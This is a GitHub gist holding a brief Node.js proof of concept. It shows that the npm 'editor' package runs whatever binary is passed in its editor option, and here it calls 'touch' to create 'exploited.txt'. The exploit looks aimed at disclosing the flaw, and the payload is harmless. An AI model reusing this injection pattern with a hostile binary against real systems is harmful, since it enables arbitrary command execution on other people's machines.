Created
October 26, 2023 18:31
-
-
Save mcoimbra/2fe8092f57431f2867258546550bcd7c to your computer and use it in GitHub Desktop.
Package editor: the user is able to inject a binary to be executed.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 'use strict' | |
| const editor = require('editor'); | |
| const file = 'exploited.txt'; | |
| const opts = { | |
| editor: 'touch' | |
| }; | |
| const cb = function() {}; | |
| editor(file, opts, cb); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment